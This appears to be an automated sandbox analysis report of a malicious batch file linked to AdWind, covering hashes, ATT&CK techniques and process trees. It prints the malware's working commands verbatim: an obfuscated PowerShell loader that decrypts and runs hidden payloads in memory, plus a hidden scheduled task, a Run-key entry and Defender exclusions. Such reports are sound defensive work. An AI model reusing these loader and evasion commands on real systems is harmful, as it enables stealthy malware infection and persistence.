Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20/10/2024, 17:56
Static task
static1
Behavioral task
behavioral1
Sample
muauah.bat
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
muauah.bat
Resource
win10v2004-20241007-en
General
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Target
muauah.bat
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Size
1.1MB
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MD5
94cc6e771b56847356601c55584f834f
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SHA1
2da874abb3a6992b86ec82ad6b6fc592f86079e6
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SHA256
59002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75
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SHA512
96157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0
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SSDEEP
24576:N2Ijc+wFpcVR471mHracm9vAW3nE0FIug7UdbD6w:NiomwGB9RxWhIt9
Malware Config
Signatures
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Class file contains resources related to AdWind 1 IoCs
resource yara_rule sample family_adwind4 -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4452 powershell.exe 1976 powershell.exe 1480 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Home = "C:\\Program Files\\Java\\jre-1.8\\bin\\javaw.exe -jar C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\.tmp\\1729447005956.tmp" reg.exe -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 392 cmd.exe 3272 PING.EXE -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings powershell.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 3272 PING.EXE -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4452 powershell.exe 4452 powershell.exe 1976 powershell.exe 1976 powershell.exe 1480 powershell.exe 1480 powershell.exe 1480 powershell.exe 2820 powershell.exe 2820 powershell.exe 2820 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4452 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeIncreaseQuotaPrivilege 1976 powershell.exe Token: SeSecurityPrivilege 1976 powershell.exe Token: SeTakeOwnershipPrivilege 1976 powershell.exe Token: SeLoadDriverPrivilege 1976 powershell.exe Token: SeSystemProfilePrivilege 1976 powershell.exe Token: SeSystemtimePrivilege 1976 powershell.exe Token: SeProfSingleProcessPrivilege 1976 powershell.exe Token: SeIncBasePriorityPrivilege 1976 powershell.exe Token: SeCreatePagefilePrivilege 1976 powershell.exe Token: SeBackupPrivilege 1976 powershell.exe Token: SeRestorePrivilege 1976 powershell.exe Token: SeShutdownPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeSystemEnvironmentPrivilege 1976 powershell.exe Token: SeRemoteShutdownPrivilege 1976 powershell.exe Token: SeUndockPrivilege 1976 powershell.exe Token: SeManageVolumePrivilege 1976 powershell.exe Token: 33 1976 powershell.exe Token: 34 1976 powershell.exe Token: 35 1976 powershell.exe Token: 36 1976 powershell.exe Token: SeIncreaseQuotaPrivilege 1976 powershell.exe Token: SeSecurityPrivilege 1976 powershell.exe Token: SeTakeOwnershipPrivilege 1976 powershell.exe Token: SeLoadDriverPrivilege 1976 powershell.exe Token: SeSystemProfilePrivilege 1976 powershell.exe Token: SeSystemtimePrivilege 1976 powershell.exe Token: SeProfSingleProcessPrivilege 1976 powershell.exe Token: SeIncBasePriorityPrivilege 1976 powershell.exe Token: SeCreatePagefilePrivilege 1976 powershell.exe Token: SeBackupPrivilege 1976 powershell.exe Token: SeRestorePrivilege 1976 powershell.exe Token: SeShutdownPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeSystemEnvironmentPrivilege 1976 powershell.exe Token: SeRemoteShutdownPrivilege 1976 powershell.exe Token: SeUndockPrivilege 1976 powershell.exe Token: SeManageVolumePrivilege 1976 powershell.exe Token: 33 1976 powershell.exe Token: 34 1976 powershell.exe Token: 35 1976 powershell.exe Token: 36 1976 powershell.exe Token: SeIncreaseQuotaPrivilege 1976 powershell.exe Token: SeSecurityPrivilege 1976 powershell.exe Token: SeTakeOwnershipPrivilege 1976 powershell.exe Token: SeLoadDriverPrivilege 1976 powershell.exe Token: SeSystemProfilePrivilege 1976 powershell.exe Token: SeSystemtimePrivilege 1976 powershell.exe Token: SeProfSingleProcessPrivilege 1976 powershell.exe Token: SeIncBasePriorityPrivilege 1976 powershell.exe Token: SeCreatePagefilePrivilege 1976 powershell.exe Token: SeBackupPrivilege 1976 powershell.exe Token: SeRestorePrivilege 1976 powershell.exe Token: SeShutdownPrivilege 1976 powershell.exe Token: SeDebugPrivilege 1976 powershell.exe Token: SeSystemEnvironmentPrivilege 1976 powershell.exe Token: SeRemoteShutdownPrivilege 1976 powershell.exe Token: SeUndockPrivilege 1976 powershell.exe Token: SeManageVolumePrivilege 1976 powershell.exe Token: 33 1976 powershell.exe Token: 34 1976 powershell.exe Token: 35 1976 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 772 javaw.exe -
Suspicious use of WriteProcessMemory 36 IoCs
description pid Process procid_target PID 876 wrote to memory of 4656 876 cmd.exe 85 PID 876 wrote to memory of 4656 876 cmd.exe 85 PID 4656 wrote to memory of 2872 4656 net.exe 86 PID 4656 wrote to memory of 2872 4656 net.exe 86 PID 876 wrote to memory of 4452 876 cmd.exe 90 PID 876 wrote to memory of 4452 876 cmd.exe 90 PID 4452 wrote to memory of 1976 4452 powershell.exe 91 PID 4452 wrote to memory of 1976 4452 powershell.exe 91 PID 4452 wrote to memory of 2508 4452 powershell.exe 96 PID 4452 wrote to memory of 2508 4452 powershell.exe 96 PID 2508 wrote to memory of 2060 2508 WScript.exe 98 PID 2508 wrote to memory of 2060 2508 WScript.exe 98 PID 2060 wrote to memory of 3816 2060 cmd.exe 100 PID 2060 wrote to memory of 3816 2060 cmd.exe 100 PID 3816 wrote to memory of 3376 3816 net.exe 101 PID 3816 wrote to memory of 3376 3816 net.exe 101 PID 2060 wrote to memory of 1480 2060 cmd.exe 102 PID 2060 wrote to memory of 1480 2060 cmd.exe 102 PID 1480 wrote to memory of 2820 1480 powershell.exe 103 PID 1480 wrote to memory of 2820 1480 powershell.exe 103 PID 1480 wrote to memory of 772 1480 powershell.exe 105 PID 1480 wrote to memory of 772 1480 powershell.exe 105 PID 772 wrote to memory of 2436 772 javaw.exe 107 PID 772 wrote to memory of 2436 772 javaw.exe 107 PID 772 wrote to memory of 2164 772 javaw.exe 109 PID 772 wrote to memory of 2164 772 javaw.exe 109 PID 2164 wrote to memory of 2536 2164 cmd.exe 111 PID 2164 wrote to memory of 2536 2164 cmd.exe 111 PID 772 wrote to memory of 3076 772 javaw.exe 118 PID 772 wrote to memory of 3076 772 javaw.exe 118 PID 3076 wrote to memory of 1452 3076 cmd.exe 120 PID 3076 wrote to memory of 1452 3076 cmd.exe 120 PID 772 wrote to memory of 392 772 javaw.exe 121 PID 772 wrote to memory of 392 772 javaw.exe 121 PID 392 wrote to memory of 3272 392 cmd.exe 123 PID 392 wrote to memory of 3272 392 cmd.exe 123 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 2436 attrib.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\muauah.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Windows\system32\net.exenet file2⤵
- Suspicious use of WriteProcessMemory
PID:4656 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file3⤵PID:2872
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\muauah.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\muauah.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_627_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_627.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_627.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_627.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\system32\net.exenet file5⤵
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file6⤵PID:3376
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd/dueUa2jMQqepZBGrf9Xcw1J/CgvYG46BsQIRnGbw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lif5MY1IWpz/stBeofY5dQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RVPjg=New-Object System.IO.MemoryStream(,$param_var); $MZPdl=New-Object System.IO.MemoryStream; $vovLA=New-Object System.IO.Compression.GZipStream($RVPjg, [IO.Compression.CompressionMode]::Decompress); $vovLA.CopyTo($MZPdl); $vovLA.Dispose(); $RVPjg.Dispose(); $MZPdl.Dispose(); $MZPdl.ToArray();}function execute_function($param_var,$param2_var){ $xfhNZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $sipFi=$xfhNZ.EntryPoint; $sipFi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_627.bat';$vRfsz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_627.bat').Split([Environment]::NewLine);foreach ($MJREd in $vRfsz) { if ($MJREd.StartsWith(':: ')) { $pNWKP=$MJREd.Substring(3); break; }}$payloads_var=[string[]]$pNWKP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAYQBoACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAdQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbgBrACMAPgA="6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2820
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C:\Program Files\Java\jre-1.8\bin\javaw.exe"C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar"6⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\SYSTEM32\attrib.exeattrib +H C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp7⤵
- Views/modifies file attributes
PID:2436
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp" /f"7⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\system32\reg.exeREG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /d "C:\Program Files\Java\jre-1.8\bin\javaw.exe -jar C:\Users\Admin\AppData\Roaming\Microsoft\.tmp\1729447005956.tmp" /f8⤵
- Adds Run key to start application
PID:2536
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C:\Windows\SYSTEM32\cmd.execmd.exe /c "REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /f"7⤵
- Suspicious use of WriteProcessMemory
PID:3076 -
C:\Windows\system32\reg.exeREG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v Home /f8⤵PID:1452
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C:\Windows\SYSTEM32\cmd.execmd /c ping localhost -n 6 > nul && del C:\Users\Admin\AppData\Local\Temp\Zelo Client.jar7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\system32\PING.EXEping localhost -n 68⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3272
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
1KB
MD5f8d49a4af7a844bfc7247d5670def557
SHA126ae0ce194a77a7a1887cf93741293fdfa6c94c4
SHA25661c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
SHA5129e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
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Filesize
639KB
MD5225f0dcf98252d2fee4b06ad0273880b
SHA193c0fb717375656ac79b85a6c5d1d2d01f5bd3ce
SHA256da64ce75fb68dfbdfada3a2b220156711c662b89fcbfedcc9ac9a84fe40a3d53
SHA5127b74d43ab18550794004fc8dc0ae21e8e37487ec0b108a9053b77d40c1f027379da568efab54a91b1a889c33ddd20e0e154a6d47faa0f3fc573bc49d6da0e2c7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1.1MB
MD594cc6e771b56847356601c55584f834f
SHA12da874abb3a6992b86ec82ad6b6fc592f86079e6
SHA25659002b993e3d16c596e1090a564623d21171fa8aac71f3d61c4ccd11bd60db75
SHA51296157638b6a41267e83b93aaa0083d8dd548b2c62054f5d5a7139d4de189483022fdb55effede71f1288e6420ca5a812d50c4fb710f80b923132fe2f1e4e08e0
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Filesize
115B
MD5fdc5fe751e936956631d0cfa13f233de
SHA13dd4b2f13dc96df180307392930f6f8fa119885b
SHA25649d97f3d0b8e32a0df682a8d08bca590be9c686cc219d54d153c6ade338d99c9
SHA5120064001c807b9f972a006c89f1491de67f724dbca19d0d0c858b7c7034e3cc5306c010b2a05b7a05ed0b4e6f7936cb56f1ab1733b9df5291673314742f3aeffa